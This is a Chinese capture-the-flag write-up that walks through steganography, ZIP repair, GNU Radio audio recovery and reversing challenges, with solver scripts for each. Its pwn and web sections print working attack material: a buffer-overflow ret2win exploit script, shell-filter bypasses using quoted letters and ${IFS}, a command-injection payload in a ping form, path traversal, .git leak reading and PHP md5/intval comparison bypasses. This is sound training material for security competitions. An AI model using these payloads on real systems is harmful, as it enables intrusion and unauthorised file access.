?CTF

Misc

[Week1] 布豪有黑客(一)

不好!是流量包

打开来就能看见个flag.zip

导出看看

额,就拿这个password.txt作为这个flag.zip的密码即可

鉴定为简单签到题

flag{Wireshark_1s_4wes0m3}

[Week1] 文化木的侦探委托(一)

太好啦!是最喜欢的图片隐写环节

宽高有问题,我们修复一下

如何修复呢?这边有很多做法,首先是了解png格式的图片的每一个chunk其实都包含有循环冗余校验码,也就i是CRC32,根据这种算法我们可以爆破出png图片的宽高

这四个字节记录的便是CRC码

附一个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import binascii
import struct

# 打开图片
crcbp = open("photo.png", "rb").read()

# 读取图片中的CRC校验值
crc32frombp = int(crcbp[29:33].hex(), 16)
print("图片中的CRC值:", crc32frombp)

# 枚举所有可能的宽度和高度组合
for i in range(1, 4096): # 宽度1-4095
for j in range(1, 4096): # 高度1-4095
# 构造IHDR块数据(不包括长度字段)
data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]

# 计算CRC32值
crc32 = binascii.crc32(data) & 0xffffffff

# 比较CRC值,如果相同则找到正确的图片尺寸
if crc32 == crc32frombp: # 修复了这里的语法错误
print("找到正确的图片尺寸:")
print("宽度:", i, "高度:", j)
print('十六进制 - 宽度:', hex(i), '高度:', hex(j))
exit(0)

print("未找到匹配的图片尺寸")

得到了正确的宽高大小,我们寻找图片中存放这种宽高的地方

其实就在这边,前四个字节存放宽的大小,而后四个字节存放着高的大小

因此我们可以发现这与原图片的实高相差甚远,只要改成00000A28即可解决问题

改成这样子就好了

当然直接扔到Tweakpng或其他工具也可以直接出

TweakPNG会告诉你现在CRC是多少,应该是多少

随波逐流更是直接会跳出来,但是在直接一把梭之前,建议大家还是搞清楚原理最为重要

根据提示,红绿蓝,这很难不让人直接联想到所谓的RGB三原色

我们知道,图像的每一个RGB通道都是一个0-255的八位数字

然而,若我们去轻微改变每个颜色的最后一位,这意味着数字只浮动1的大小,这种改变是无法被人眼察觉出来的

这最后一位“最低有效位”就叫LSB(Least Significant Bit),我们可以依靠这一位来隐藏一些二进制,如果我们对多个像素进行利用,就获得了多比特位的存储空间,这种空间里也就可以存储需要隐写的数据了,而这一种隐写就是LSB隐写

好这一题根据题目所述,就是红色通道的第一位,绿色通道的第0位和蓝色通道的第2位藏着内容,我们尝试提取这些内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
import numpy as np

def extract_lsb_simple(image_path):
img = np.array(Image.open(image_path))
bits = []

for y in range(img.shape[0]):
for x in range(img.shape[1]):
r, g, b = img[y, x, :3]
bits.append((r >> 1) & 1) # 红色第1位
bits.append(g & 1) # 绿色第0位
bits.append((b >> 2) & 1) # 蓝色第2位
data = bytearray()
for i in range(0, len(bits), 8):
byte = sum(bits[i+j] << (7-j) for j in range(min(8, len(bits)-i)))
data.append(byte)

return bytes(data)

data = extract_lsb_simple(r"G:\ctf\?CTF\Misc\012539_奇怪的图片\奇怪的图片-修复高宽.png")
open("output.bin", "wb").write(data)
print("提取完毕")

提取后观察十六进制即可发现flag

当然直接用stegslove工具也能得到

flag{Please_Find_ME}

[Week2] 文化木的侦探委托(二)

上来是这样子一张png图片,先查看十六进制

查看十六进制发现了这样子一句话:你知道盲水印是什么吗?

似乎是盲水印?但什么是盲水印呢?

盲水印是一种数字水印技术,将水印信息嵌入到图像、音频或视频等媒体文件中,而不会明显印象原始内容的质量。

这边是对载体图片进行了一种数学变化,最常用的是离散余弦变换嵌入(DCT)特性和小波变化特性等等,将经过编码的水印信息量化地嵌入到中频系数中去(避免在低频改动影响画面,也避免在高频丢失)

大概就是图片变成频谱图,然后水印变成编码后的水印,俩合成一张含水印数据的频谱图

核心是频域的叠加

1
2
3
4
5
6
7
# 傅里叶变换
f1 = np.fft.fft2(img) # 原图频域
f2 = f1 + alpha * rwm # 加水印

# 逆变换得到嵌入水印的图片
_img = np.fft.ifft2(f2)
img_wm = np.real(_img)

“盲”的意思是提取水印的时候是不需要原始文件作为参考的

一般开源的实施方案是两个python库,blind-watermark和invisible-watermark

blind-watermark支持加密保护,提取不需要原图,抗攻击能力较强;而invisible-watermark则抗攻击性略差,且不支持加密。

https://github.com/guofei9987/blind_watermark

https://github.com/ShieldMnt/invisible-watermark

如果只有一张就是上边那样,但是这一题似乎不太一样

我们观察PNG格式

一般一张png图片在生成的时候就会计算出图片的IDAT块长度,超出长度的会被放入下一个IDAT块中,因此基本上是定长,直到最后一块

所以这边的长度明显不对劲,134应该就已经结束了

所以下边应该是第二张图,我们保留原来的头和尾,单独提取出上半部分和下半部分

保存之后发现依旧看不出啥区别,但是我们于此获得了两张图

这就涉及了另一种盲水印,双图盲水印

这是一种将信息存放在两张图的差异关系的水印隐藏方式

尽管这边同样是把信息通过DCT,DWT等手段叠加在图一的颜色通道特定频率上

但这边的“盲”就不再是不需要原图的意思了,我们需要两张图片配对使用

将双图xor后会发现黑色底蓝色条纹的图片,这也是双图盲水印工具的一大特点(我怀疑是这个信息藏在蓝色通道上,因为蓝色的改动人眼最难察觉)

于是我们确定了隐写方式,进行双图盲水印解密即可

https://github.com/chishaxie/BlindWaterMark

脚本如上,主要是两个步骤解码

首先是提取拆分

1
2
3
4
5
6
7
# 分别对原图和带水印图做傅里叶变换
f1 = np.fft.fft2(img) # 原图频域
f2 = np.fft.fft2(img_wm) # 带水印图频域

# 提取加密水印
rwm = (f2 - f1) / alpha # 频域差分除以强度系数
rwm = np.real(rwm) # 取实部

然后再水印恢复

1
2
3
4
5
6
7
8
9
10
11
# 使用相同的随机种子生成打乱序列
random.seed(seed)
m, n = range(int(img.shape[0] * 0.5)), range(img.shape[1])
random.shuffle(m)
random.shuffle(n)

# 逆置乱恢复水印
wm = np.zeros(rwm.shape)
for i in xrange(int(rwm.shape[0] * 0.5)):
for j in xrange(rwm.shape[1]):
wm[m[i]][n[j]] = np.uint8(rwm[i][j]) # 按原顺序放回

最后即可得到flag

flag{W@tch_underw@ter}

[Week3] 文化木的侦探委托(三)

委托毫无进展了,下载附件看看

文件损坏了!根据题目提示好像只有三四五处坏了

发现压缩包的dirEntry区损坏了,在修复之前:

这一道题主要涉及了Zip文件的解压流程,我们来理一下思路

我们都知道,zip分为三个结构,目录结束标识存在于整个ZIP的结尾,用于标记压缩的目录数据的结束,因此每个压缩文件都必须有且仅有一个EOCD记录

而对于zip解压而言,一般是分为四个阶段进行解压

首先是阶段1:定位到中央目录结束标记EOCD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bool FindEndOfCentralDirectory(FILE* zipFile) {
// 1. 从文件末尾向前搜索(最多向前64KB)
fseek(zipFile, 0, SEEK_END);
long fileSize = ftell(zipFile);
long searchStart = max(0, fileSize - 65536); // ZIP规范规定EOCD在最后64K内

// 2. 寻找签名 0x06054b50
unsigned char buffer[1024];
for (long pos = fileSize - 4; pos >= searchStart; pos--) {
fseek(zipFile, pos, SEEK_SET);
fread(buffer, 4, 1, zipFile);
if (*(unsigned int*)buffer == 0x06054b50) { // EOCD签名
// 3. 读取EOCD记录
fseek(zipFile, pos, SEEK_SET);
fread(&eocd, sizeof(ZipEndRecord), 1, zipFile);
return true;
}
}
return false;
}

EOCD的结构如下

读完这一部分,系统就知道如何读中央目录了,然后就跑去读中央目录了,进入阶段2,开始循环读取每个dirEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// 读取中央目录
void ReadCentralDirectory(FILE* zipFile, ZipEndRecord& eocd) {
// 1. 跳转到中央目录起始位置
fseek(zipFile, eocd.centralDirOffset, SEEK_SET);

// 2. 循环读取每个dirEntry
vector<ZipDirEntry> dirEntries;
for (int i = 0; i < eocd.totalEntries; i++) {
ZipDirEntry entry;

// 读取固定部分
fread(&entry.signature, 4, 1, zipFile);
if (entry.signature != 0x02014b50) break; // 验证签名

fread(&entry.versionMadeBy, 2, 1, zipFile);
fread(&entry.versionNeeded, 2, 1, zipFile);
fread(&entry.flags, 2, 1, zipFile);
fread(&entry.compression, 2, 1, zipFile);
fread(&entry.fileTime, 2, 1, zipFile);
fread(&entry.fileDate, 2, 1, zipFile);
fread(&entry.crc32, 4, 1, zipFile);
fread(&entry.compressedSize, 4, 1, zipFile);
fread(&entry.uncompressedSize, 4, 1, zipFile);

// 读取长度字段
unsigned short fileNameLength, extraFieldLength, fileCommentLength;
fread(&fileNameLength, 2, 1, zipFile);
fread(&extraFieldLength, 2, 1, zipFile);
fread(&fileCommentLength, 2, 1, zipFile);

fread(&entry.diskNumStart, 2, 1, zipFile);
fread(&entry.internalAttr, 2, 1, zipFile);
fread(&entry.externalAttr, 4, 1, zipFile);
fread(&entry.localHeaderOffset, 4, 1, zipFile); // 关键:指向本地文件头

// 读取可变长度字段
entry.fileName.resize(fileNameLength);
fread(&entry.fileName[0], 1, fileNameLength, zipFile);

if (extraFieldLength > 0) {
entry.extraField.resize(extraFieldLength);
fread(&entry.extraField[0], 1, extraFieldLength, zipFile);
}

if (fileCommentLength > 0) {
entry.fileComment.resize(fileCommentLength);
fread(&entry.fileComment[0], 1, fileCommentLength, zipFile);
}

dirEntries.push_back(entry);
}
}

之后进入阶段3,先根据刚刚在dirEntry得到的偏移量,跳转到本地文件头,接着开始从record读取数据,遍历而解压每一个位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void ExtractAllFiles(FILE* zipFile, vector<ZipDirEntry>& dirEntries) {
for (auto& entry : dirEntries) {
// 1. 根据dirEntry中的偏移量,跳转到本地文件头
fseek(zipFile, entry.localHeaderOffset, SEEK_SET);

// 2. 读取本地文件头(record区)
LocalFileHeader localHeader;
fread(&localHeader.signature, 4, 1, zipFile);
if (localHeader.signature != 0x04034b50) {
// 错误处理
continue;
}

// 读取本地文件头剩余部分
fread(&localHeader.version, 2, 1, zipFile);
fread(&localHeader.flags, 2, 1, zipFile);
fread(&localHeader.compression, 2, 1, zipFile);
fread(&localHeader.fileTime, 2, 1, zipFile);
fread(&localHeader.fileDate, 2, 1, zipFile);
fread(&localHeader.crc32, 4, 1, zipFile);
fread(&localHeader.compressedSize, 4, 1, zipFile);
fread(&localHeader.uncompressedSize, 4, 1, zipFile);

unsigned short fileNameLength, extraFieldLength;
fread(&fileNameLength, 2, 1, zipFile);
fread(&extraFieldLength, 2, 1, zipFile);

// 3. 读取文件名
char fileName[256];
fread(fileName, 1, fileNameLength, zipFile);
fileName[fileNameLength] = '\0';

// 4. 跳过扩展字段
if (extraFieldLength > 0) {
fseek(zipFile, extraFieldLength, SEEK_CUR);
}

// 5. 读取压缩数据
vector<unsigned char> compressedData(localHeader.compressedSize);
fread(compressedData.data(), 1, localHeader.compressedSize, zipFile);

// 6. 检查是否有数据描述符(通用位标记第3位)
bool hasDataDescriptor = (localHeader.flags & 0x08) != 0;
if (hasDataDescriptor) {
// 如果设置了数据描述符,则CRC和大小在压缩数据之后
fread(&localHeader.crc32, 4, 1, zipFile);
fread(&localHeader.compressedSize, 4, 1, zipFile);
fread(&localHeader.uncompressedSize, 4, 1, zipFile);
}

// 7. 解压数据
vector<unsigned char> uncompressedData = DecompressData(
compressedData,
localHeader.compression,
localHeader.uncompressedSize
);

// 8. 验证CRC
unsigned int calculatedCRC = CalculateCRC32(uncompressedData);
if (calculatedCRC != localHeader.crc32) {
// CRC校验失败
continue;
}

// 9. 写入文件
SaveFile(fileName, uncompressedData);
}
}

到此基本就结束了,只有少部分才有第四阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 处理数据描述符的情况
if (hasDataDescriptor) {
// 本地文件头中的CRC、大小字段为0
// 实际值在压缩数据之后
unsigned int dataDescriptor[3];
fread(dataDescriptor, 4, 3, zipFile);

// 验证数据描述符签名(可选)
unsigned int nextBytes;
fread(&nextBytes, 4, 1, zipFile);
if (nextBytes == 0x08074b50) { // 数据描述符签名
// 刚刚读取的就是签名,重新调整
localHeader.crc32 = dataDescriptor[0];
localHeader.compressedSize = dataDescriptor[1];
localHeader.uncompressedSize = dataDescriptor[2];
} else {
// 没有签名,回退
fseek(zipFile, -4, SEEK_CUR);
localHeader.crc32 = dataDescriptor[0];
localHeader.compressedSize = dataDescriptor[1];
localHeader.uncompressedSize = dataDescriptor[2];
}
}

大概理清楚之后我们其实可以了解到,损坏的dirEntry区作为中央目录,它和record区是双向关联,功能互补,冗余验证的,我们既然dirEntry区坏了,自然是可以利用record区的

这个利用有两层意思

第一层就是正常对照着record区对dirEntry区进行修复工作

对照可以发现是deCompression、deFileNameLength和deFileName三部分遭到了修改,我们照着record区的数据改回来

就能顺利打开了

打开后得到flag~

flag{keep_m0ving_forward_f0r_the_ro@d_ahead_1s_l0nger_and_hard3r}

第二层利用说的是咱可以直接用record区解压啊()

我们知道题目只修改了dirEntry的内容,而我们7zip是只看record区的,因此这一道题如果我们用7zip是可以直接解压得到flag的

直接解压完直接看答案就好了

这个是这样的,bandzip会读dirEntry的内容,而WinRAR是两区都读,高级人

[Week4] 文化木的侦探委托(四)

上来文件比别的多多了,如果只看题目内容的话大致是我们需要这个原始的音频

但是上来给的四个文件什么都看不出来

我们从唯一可读的文件入手

发现这是一份GNU Radio Companion的流程图文件啊

主要目的是从音频文件password.wav里边提取信息

我们先下载一个GNU Radio Companion

https://github.com/radioconda/radioconda-installer

在官网下载后打开

大概界面如图,这是GNU Radio这个开源软件无线电SDR开发平台的一个图形化界面

主要是通过软件实现信号处理,无需专用硬件电路即可完成调制解码、滤波、频谱分析等任务

这边就可以看到是一些任务,我们刚刚的那个文件就是这样子一个流程图

只需将后缀改为.grc即可打开

打开后可以看到流程图如上,在流程图可以看到很多最后产生的文件,都是一开始题目给的剩下三个文件,我们一个个来看

首先是这个password…?文件的产生,这是由一个password.wav产生的

就是(原音频+虚拟原信号)*2.5得到的这个password…?

现在还差个虚拟原信号Virtual Source

正好下边俩文件可以逆向出这个

这俩文件不是白给的

这个mag是个复数幅度信息文件,phase是个复数相位信息文件

这下可以直接逆推出Virtual Source了

我们保存的:mag = |Z_conj|, phase = arg(Z_conj)

其中 Z_conj = 共轭(Z_original)

所以Z_conj = mag × exp(j × phase)

那么Z_original = conjugate(Z_conj) = mag × exp(-j × phase)

大概就是这样子

这边解法的话有两种,一种是直接python解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import numpy as np
import soundfile as sf


def reconstruct_virtual_source(mag_file, phase_file):
mag = np.fromfile(mag_file, dtype=np.float32)
phase = np.fromfile(phase_file, dtype=np.float32)

min_len = min(len(mag), len(phase))
mag = mag[:min_len]
phase = phase[:min_len]

print(f"读取mag: {len(mag)}个点, phase: {len(phase)}个点")

# 从幅度和相位重构复数
complex_signal = mag * np.exp(1j * phase)

# 取共轭得到原始复数
complex_original = np.conj(complex_signal)

# 取实部作为虚拟源信号(根据图片,实部和虚部相同)
virtual_source = np.real(complex_original)

return virtual_source


def decrypt_audio(encrypted_file, virtual_source, output_file="password.wav"):
encrypted = np.fromfile(encrypted_file, dtype=np.float32)
print(f"读取加密文件: {len(encrypted)}个点")

if len(virtual_source) < len(encrypted):
# 重复虚拟源信号
repeats = int(np.ceil(len(encrypted) / len(virtual_source)))
virtual_source = np.tile(virtual_source, repeats)[:len(encrypted)]
#哦这边还得匹配一下长度
if len(virtual_source) != len(encrypted):
min_len = min(len(encrypted), len(virtual_source))
encrypted = encrypted[:min_len]
virtual_source = virtual_source[:min_len]
print(f"将双方截断到{min_len}个点")

# 解密公式: (原始音频 + 虚拟源) * 2.5 = 加密文件
# 所以: 原始音频 = 加密文件/2.5 - 虚拟源
original_audio = encrypted / 2.5 - virtual_source

# 保存为WAV文件
sf.write(output_file, original_audio, 44100)
print(f"解密完成! 保存为: {output_file}")

return original_audio

if __name__ == "__main__":
# 重构虚拟源信号
virtual_source = reconstruct_virtual_source("mag", "phase")

# 解密音频
recovered_audio = decrypt_audio("password...?", virtual_source, "recovered_password.wav")

# 简单分析结果
print(f"\n解密结果统计:")
print(f" 最小值: {recovered_audio.min():.6f}")
print(f" 最大值: {recovered_audio.max():.6f}")
print(f" 均值: {recovered_audio.mean():.6f}")

# 检查是否看起来像音频
if np.max(np.abs(recovered_audio)) > 0.1:
print("解密结果看起来像是音频信号")
else:
print("警告: 信号幅度很小,可能需要进一步分析")

# 检查是否有明显模式
unique_vals = np.unique(np.round(recovered_audio, 3))
if len(unique_vals) < 10:
print(f"可能为编码信号,只有 {len(unique_vals)} 个不同的值")
print(f"值: {unique_vals}")

当然了,我们也可以直接在GNU进行解密的

特别要注意每一块的type设置,否则红的不让用,建议是走全英文路径,避免失败

不管用哪种方法我们都能得到解密后的音频文件

听出来大概是拨号的声音,所以我们下载一个相关的拨号解密工具

Releases · Moxin1044/DTMF2NUM

1
.\dtmf2num.exe .\1.wav

得到压缩包密码:24#A1B87C4*0#DD

解开即可得到flag

flag{Wh@t_I_hope_you_wi11_seek_i5_y0ur_true_self_wi7hin.}

[Week1] 俱乐部之旅(1) - 邀请函

上来就是个加密压缩包,这边看上去像掩码啊?

试试看

秒出

c5im8467

OK,这个word有问题,word隐写应该一共就没几种

改后缀为zip,看看内容

果然能发现一个

看上去是十六进制

啊,好像是后半段?

还有一半应该在文档里边

打开来可以看到头上有一些内容

“重要的内容就应该存在备注中”

原来写的是这个

写了让我用每7位转一个ASCII码了

那我直接转就是了

flag{W0rd_5t3g_is_1z

所以flag为flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}

[Week1] 维吉尼亚朋友的来信

噢?是音频隐写题

Audacity开起来看看

是菊次郎的夏天啊,挺好听的,还是双声道的

打开多视图直接就看见了KEY{deepsound}

给了key,就是有key的音频隐写了,又说deepsound,那很有可能是deepsound加密

之前直接扔到deepsound一直出不来,现在判断下来是版本太低不支持Win11(嘻嘻当时做了一辈子都搞不出来看傻了)

问题不大,下一个最新版Deepsound2.2

https://github.com/Jpinsoft/DeepSound/releases

得到一个txt文件

打开来明显发现有加密,根据题目名字推测是维吉亚娜,key应该就是deepsound

得到flag是flag{funny_letter_to_you}

[Week1] 《关于我穿越到CTF的异世界这档事:序》

Osint

[Week1] Task 1. 见面地点

见面地点,看看图片

左边那东西还挺有辨识度的,是河南艺术中心,那就很好找了,大概能确定是郑州的郑东新区那边,然后找找地铁站就好

是会展中心站,然后是郑州地铁1号线和4号线的交接站

接下来就直接构造flag模板就好了,这玩意AI能直接看出来

如图:

flag{1_4_HuiZhanZhongXin}

Forensics

[Week1] 取证第一次

话都说到这份上了,去日志里找就是了

是个镜像,我们火眼打开分析

直接在路径/var/log就能找到flag的日志文件

这也太简单了(??)我发现现在的CTF取证题目要么我是一点不会,要么就是一眼出

flag{F0r3ns1cs_i$Fun_Rea11y???}

Pwn

[Week1] ncncnc

太好啦!是nc,我们有救了

上来先是cat应用

第二部分是cat和hint的绕过,因为只是字符串进了黑名单我们可以直接用单引号绕过

c’at’ hi’nt’即可

第三部分绕过空格,只要${IFS}绕过即可

这题出的全是绕过啊,像web题

得到flag{b59a0c9c-c448-499b-b784-20939501c441}

[Week1] 勇者救公主

是一道又臭又长的复制粘贴题

给的提示太多了导致很没意思

就是这样子,每一步都全是提示

主要是又臭又长,太久不动又要重新开打

但是似乎可以跳关

看指向的值x/1x 即可

噢好吧,不能跳关,跳关了交不上答案

一步步就好,后边提示都是直接报答案的,我实在不知道有什么写wp的必要

flag{9DB_M4S7eR_dr@9On_514YER_z#Zs}

[Week1] count

我们先nc试试看

似乎后边需要很快的回答速度,否则会马上结束,所以这就是需要写代码了,手打肯定来不及,我直接复制粘贴进python算都来不及

先截断在2025*2025,然后去发个4100625

后边等到进入运算阶段,每次都截断?即可,后边开始提取十六进制数算一下,都是加法,再发过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level="debug"
io = remote('challenge.ilovectf.cn', 30497)

io.recvuntil(b'2025x2025=?')
io.sendline(b'4100625')
io.recvuntil(b'Are you ready?')

for _ in range(100):
question = io.recvuntil(b'?').decode().strip()
hex_nums = re.findall(r'0x[0-9A-F]+', question)
num1 = int(hex_nums[0], 16)
num2 = int(hex_nums[1], 16)
result = hex(num1 + num2)
io.sendline(result.encode())

io.interactive()

直接就输出flag了

flag{5bc0d3b6-44e8-4681-8db0-2bfc10a988b8}

[Week1] 危险的 gets

保护:

看看main函数,64位

好看起来是个溢出的rop题目

0x40+8溢出

溢出后直接去后门函数即可

backdoor=0x0004011B6

注意栈对齐

ROPgadget –binary “pwn” –only “pop|ret”

ret=0x40101a

直接写代码吧

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level="debug"
io=remote("challenge.ilovectf.cn",30524)

padding=0x40+8
backdoor=0x0004011B6
ret=0x40101a

payload=b"a"*padding+p64(ret)+p64(backdoor)
io.recvuntil(b"plz input your name: ")
io.sendline(payload)
io.interactive()

flag{1_bEllev3_tHA7_y0U_KnOw_g3ts_i5_DaNG3RouS}

[Week1] 幸运星

幸运星?

保护:

我靠全开啊

连续猜中50次就好啦~这怎么可能啊!

肯定需要动用libc了

Reverse

[Week1] 8086ASM

考汇编语言来了

来看看汇编语言

大概理解一下逻辑,上边的是密文,下边的是key

然后要我加密后和上边的密文长一样

核心在于这个加密部分

主要是两部分

首先是循环右移,左边缺的由右边多的补

然后是异或加密:将当前字节和它的下一个字节作为一个整体,与密钥中的一个字进行异或操作。密钥是循环使用的,即用尽5个字后从头开始

大概理解之后就可以开始解密了,由于是异或所以不会很难,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def rol_byte(byte, shift):
shift %= 8
return ((byte << shift) & 0xFF) | (byte >> (8 - shift))

data = [
0xBB, 0x1B, 0x83, 0x8C, 0x36, 0x19, 0xCC, 0x97,
0x8D, 0xE4, 0x97, 0xCC, 0x0C, 0x48, 0xE4, 0x1B,
0x0E, 0xD7, 0x5B, 0x65, 0x1B, 0x50, 0x96, 0x06,
0x3F, 0x19, 0x0C, 0x4F, 0x4E, 0xF9, 0x1B, 0xD7,
0x0C, 0x1D, 0xA0, 0xC6
]

keys = [0x1122, 0x3344, 0x1717, 0x9090, 0xBBCC]

for i in range(34, -1, -1):
j = i % 5
key_word = keys[j]
low_byte = data[i]
high_byte = data[i + 1]
word_val = (high_byte << 8) | low_byte

word_val ^= key_word

# 更新数据字节
data[i] = word_val & 0xFF
data[i + 1] = (word_val >> 8) & 0xFF

# 循环左移2位(逆ROR)
data[i] = rol_byte(data[i], 2)

flag_bytes = data[:36]
flag = ''.join(chr(b) for b in flag_bytes if b != 0)
print(flag)

flag{W31c0m3_t0_8086_A5M_W0RlD___!!}

[Week1] PlzDebugMe

动调题

32位

在输入点先打个断点,动调看看

我的输入会放在这边,一共32个位置

会和这个比较

密文是上边这个

但是这边不能动调直接得到啊

毕竟是一个个检验的,不对直接return 0了,所以我们不能patch

那就看看加密过程吧

基本上可以确定加密函数就是这个sub_40167D

这是流密码啊

会生成一个伪随机数,然后和原来的异或去

我们可以根据前几位,如5B和66来确定到底在和谁异或

可能需要暴力破解一下流加密,因为是确定的,所以我们可以做到这一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
def lcg(state):
"""
线性同余生成器 (LCG)
与题目中的 sub_401656 函数对应
"""
state = (1103515245 * state + 12345) & 0xFFFFFFFF
random_value = (state >> 16) & 0x7FFF # 取高15位
return state, random_value

def find_lcg_seed(known_key_stream):
"""
暴力破解LCG的初始种子
known_key_stream: 已知的密钥流列表(即PRNG输出值的低8位)
"""
# 遍历所有可能的32位初始状态
for candidate_seed in range(0, 0x100000000):
state = candidate_seed
match = True
# 检查该种子生成的序列是否与已知密钥流匹配
for expected_key_byte in known_key_stream:
state, rand_val = lcg(state)
actual_key_byte = rand_val & 0xFF # 取随机数的低8位
if actual_key_byte != expected_key_byte:
match = False
break
if match:
return candidate_seed
return None # 如果没找到,返回None

# 已知的明文开头
known_plaintext_start = [0x66, 0x6C, 0x61, 0x67, 0x7B] # "flag{"
# 完整的密文
full_ciphertext = [
0x5B, 0x50, 0xA1, 0x25, 0x84, 0x8E, 0x61, 0xC4, 0x6B, 0xBB,
0xAE, 0x05, 0x0B, 0xC6, 0x3D, 0x42, 0x5A, 0xFB, 0xC1, 0xC9,
0x4E, 0xE9, 0x8D, 0x50, 0x91, 0x87, 0x87, 0x24, 0xAD, 0xAF,
0xD5, 0x36
]

# 1. 根据已知明文和密文,计算密钥流的前5个字节
known_key_stream = []
for i in range(len(known_plaintext_start)):
key_byte = known_plaintext_start[i] ^ full_ciphertext[i]
known_key_stream.append(key_byte)

print("已知的密钥流前5字节:", [hex(k) for k in known_key_stream])

# 2. 暴力破解LCG的种子
print("正在暴力破解LCG初始种子,这可能需要几分钟...")
found_seed = find_lcg_seed(known_key_stream)

if found_seed is None:
print("未能找到正确的初始种子。")
else:
print(f"成功找到LCG初始种子: {hex(found_seed)}")

# 3. 使用找到的种子解密全部密文
state = found_seed
decrypted_text = ""
for cipher_byte in full_ciphertext:
state, rand_val = lcg(state)
key_byte = rand_val & 0xFF
plain_byte = cipher_byte ^ key_byte
decrypted_text += chr(plain_byte)

print("\n解密出的完整明文是:")
print(decrypted_text)

成功找到LCG初始种子: 0x1e240

解密出的完整明文是:

flag{Y0u_Kn0w_H0w_t0_D3bug!!!!!}

(好吧这一题是不是不应该这样子做?应该动调?)

[Week1] ezCSharp

这边需要用dnspy,正好我有

OK打开了

我们直接搜flag{很容易定位到这边,这边是很简单的加密,只是把!换成_,然后把a换成z,最后把b-z往前一位

Locate the ‘FlagContainer’ class in the Program Resource Manager

我们找找

其实搜感叹号也行,直接搜这个flagcontainer不知道为什么找不到

直接按规则解密D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025

先小写字母移1,然后把!换成_,然后把a换成z

flag{D1tbi0t_spive_engineering_wi_doropy_it_fun_2025}

[Week1] ezCalculate

看看main函数,是很长的加密过程

先和key的内容相加,再和key的内容异或,最后相减,有够复杂的

我们直接逆向也是这个思路

key是这个wwqessgxsddkaao123wms

然后密文是上边这个

最后要和这个比

1
2
3
4
5
6
7
8
9
10
11
解密第三步:
for i in range(data_length):
decrypted[i] = (decrypted[i] + ord(key[i % key_length])) % 256

解密第二步:
for i in range(data_length):
decrypted[i] ^= ord(key[i % key_length])

解密第一步:
for i in range(data_length):
decrypted[i] = (decrypted[i] - ord(key[i % key_length])) % 256

然后就可以得到flag

flag{Add_X0r_and_Sub}

Web

[Week1] 前端小游戏

是一个小游戏

结果就算60秒点了30个也不给flag,浪费我时间。。

在源代码可以看到game.js

然后我们点进去看看

分高于30就发这些,这一眼base64

flag{b7b3095a-97fa-4bec-a7a4-502746ceb949}

[Week1] Ping??

好眼熟的题目,nss好像有一道差不多的

差不多是在后边加&然后加命令

那我们也试试看

但是不知道过滤了什么,我们试试看

OK没过滤&,可以这样子做

我们尝试127.0.0.1&c’at’ f*

直接就得到了

flag{8ca4c143-4499-4f8f-9f18-c998a41431f6}

[Week1] from_http

好像所有新生赛都有的玩意

OK啊,直接改user-agent

照做就好?welcome=to

the=?CTF

比0xGame的好玩

一步步跟着做就好啦,直接得到flag

flag{843d5687-0cfc-47b0-b481-30fcadaed18d}

[Week1] Gitttttttt

说是在有.git文件

其实也就是git泄露的题目,我们加上/.git/index看看,.git/index 文件是暂存区,记录了哪些文件被添加到了暂存区以及它们的状态。如果该文件被泄露,攻击者可以通过分析索引文件来了解哪些文件可能包含敏感信息,以及它们的版本状态。

发现有个txt,我们复制粘贴/flag_yooooooouuuuuu_caannnnnnnntttttttt_fiiiiiinnnndddme.txt

flag{oH_I_NEzv0R_lEV3O_7lE_G&IT_ABgAZN}

[Week1] 包含不明东西的食物?!

投入锅里?看上去像文件上传漏洞,打开看看

啊好像不是,不能上传

只能写路径然后看文件

这边源代码有提示

那一共我们在/var/www/html/backpack/路径,一般都会放在根目录,那我们要写四个../回退

OK成功得到

flag{d78b163e-8722-4414-b239-960f65b387b5}

[Week1] secret of php

很简单的php题,只是要严格不等于2025,但是intval($a, 0)之后为2025,那直接十六进制即可

a=0x7E9

噢原来有好几题吗

三部分

第一部分是经典md5,直接0e绕过,a=QNKCDZO&b=240610708,他们的md5都是0e开头,会被认为都是0

第二部分是值不一样,但是类型和md5值都一样,直接数组绕过aa[]=1&bb[]=2

第三部分要求更高了(string)$a !== (string)$b,但MD5哈希严格相等,我们使用URL编码后的字符串

这边上下都可以

1
